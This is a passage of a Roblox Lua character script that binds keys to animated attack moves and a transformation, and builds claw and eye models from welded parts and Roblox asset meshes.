2758 | end | |
2759 | elseif k=='g' then | |
2760 | if attack==false and mana>=50 then | |
2761 | Twirl() | |
2762 | end | |
2763 | elseif k=='v' then | |
2764 | if attack==false and mana>=25 then | |
2765 | MagicJump() | |
2766 | end | |
2767 | elseif k=='c' then | |
2768 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2769 | attack=true | |
2770 | for i = 1, 40 do | |
2771 | swait() | |
2772 | Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) | |
2773 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) | |
2774 | RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) | |
2775 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2776 | LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) | |
2777 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2778 | RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) | |
2779 | LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) | |
2780 | end | |
2781 | Blaze() | |
2782 | attack = false | |
2783 | end | |
2784 | elseif k=='x' then | |
2785 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2786 | attack=true | |
2787 | for i = 1, 15 do | |
2788 | swait() | |
2789 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
2790 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
2791 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
2792 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2793 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
2794 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2795 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
2796 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
2797 | end | |
2798 | so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35) | |
2799 | so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65) | |
2800 | for i = 0, 30 do | |
2801 | BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5) | |
2802 | wait(0.1) | |
2803 | end | |
2804 | local parteffected = Instance.new("Part",tors) | |
2805 | parteffected.Transparency = 1 | |
2806 | parteffected.Position = tors.Position | |
2807 | parteffected.CanCollide = false | |
2808 | parteffected.Anchored = true | |
2809 | so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5) | |
2810 | so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4) | |
2811 | BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15) | |
2812 | MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05) | |
2813 | MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05) | |
2814 | BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30) | |
2815 | local sbs = Instance.new("BodyPosition", RootPart) | |
2816 | sbs.P = 3000 | |
2817 | sbs.D = 1000 | |
2818 | sbs.maxForce = Vector3.new(500000, 500000000, 500000) | |
2819 | sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0) | |
2820 | for i = 1, 40 do | |
2821 | swait() | |
2822 | Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) | |
2823 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) | |
2824 | RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) | |
2825 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2826 | LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) | |
2827 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2828 | RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) | |
2829 | LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) | |
2830 | end | |
2831 | wait(3) | |
2832 | Blaze2() | |
2833 | attack = false | |
2834 | parteffected:Destroy() | |
2835 | sbs:Destroy() | |
2836 | end | |
2837 | elseif k=='q' then | |
2838 | if attack==false then | |
2839 | idle=1000 | |
2840 | end | |
2841 | elseif k=='h' then | |
2842 | if attack==false then | |
2843 | mana=100 | |
2844 | end | |
2845 | elseif k=='y' then | |
2846 | if attack==false and mana>=100 then | |
2847 | Shred() | |
2848 | end | |
2849 | elseif k=='f' then | |
2850 | if attack==false and mana>=40 then | |
2851 | Spin() | |
2852 | end | |
2853 | elseif k=='r' then | |
2854 | if attack==false and mana>=20 then | |
2855 | Clap() | |
2856 | end | |
2857 | elseif k=='t' then | |
2858 | if attack==false then | |
2859 | Hai() | |
2860 | end | |
2861 | elseif k=='0' then | |
2862 | if attack==false then | |
2863 | Humanoid.WalkSpeed=(24) | |
2864 | end | |
2865 | elseif k=='j' then | |
2866 | if attack==false then | |
2867 | Humanoid.Health = 10 | |
2868 | print("Congrats, you commited suicide.") | |
2869 | end | |
2870 | end | |
2871 | end) | |
2872 | ||
2873 | mouse.KeyDown:connect(function(k) | |
2874 | if k == "z" and Ultramode == false then | |
2875 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2876 | attack = true | |
2877 | for i = 1, 15 do | |
2878 | swait() | |
2879 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
2880 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
2881 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
2882 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2883 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
2884 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2885 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
2886 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
2887 | end | |
2888 | m:Destroy() | |
2889 | local m = Instance.new("Model", Character) | |
2890 | m.Name = "WeaponModel" | |
2891 | local parta = Instance.new("Part",Character) | |
2892 | parta.Size = vt(10,10,10) | |
2893 | parta.BrickColor = BrickColor.new("Really black") | |
2894 | parta.Material = "Neon" | |
2895 | parta.Shape = "Ball" | |
2896 | parta.Transparency = 0 | |
2897 | parta.Anchored = true | |
2898 | parta.CanCollide = false | |
2899 | parta.CFrame = tors.CFrame | |
2900 | Transform() | |
2901 | parta:Destroy() | |
2902 | ||
2903 | local modelzorzz=Instance.new("Model") | |
2904 | modelzorzz.Parent=Character | |
2905 | modelzorzz.Name="Claw1" | |
2906 | ||
2907 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
2908 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
2909 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2910 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2911 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
2912 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2913 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
2914 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2915 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2916 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
2917 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2918 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
2919 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2920 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
2921 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2922 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
2923 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2924 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
2925 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2926 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
2927 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2928 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
2929 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2930 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
2931 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2932 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
2933 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2934 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2935 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
2936 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2937 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
2938 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2939 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2940 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
2941 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2942 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2943 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
2944 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2945 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2946 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
2947 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2948 | ||
2949 | local modelzorzz2=Instance.new("Model") | |
2950 | modelzorzz2.Parent=Character | |
2951 | modelzorzz2.Name="Claw2" | |
2952 | ||
2953 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
2954 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
2955 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2956 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2957 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
2958 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2959 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
2960 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2961 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
2962 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2963 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
2964 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2965 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2966 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
2967 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2968 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2969 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
2970 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2971 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
2972 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2973 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2974 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
2975 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2976 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
2977 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2978 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2979 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
2980 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2981 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
2982 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2983 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2984 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
2985 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2986 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
2987 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2988 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
2989 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2990 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
2991 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2992 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2993 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
2994 | ||
2995 | local modelzorzz3=Instance.new("Model") | |
2996 | modelzorzz3.Parent=Character | |
2997 | modelzorzz3.Name="Eye" | |
2998 | ||
2999 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3000 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
3001 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) | |
3002 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3003 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3004 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) | |
3005 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3006 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3007 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) | |
3008 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
3009 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
3010 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) | |
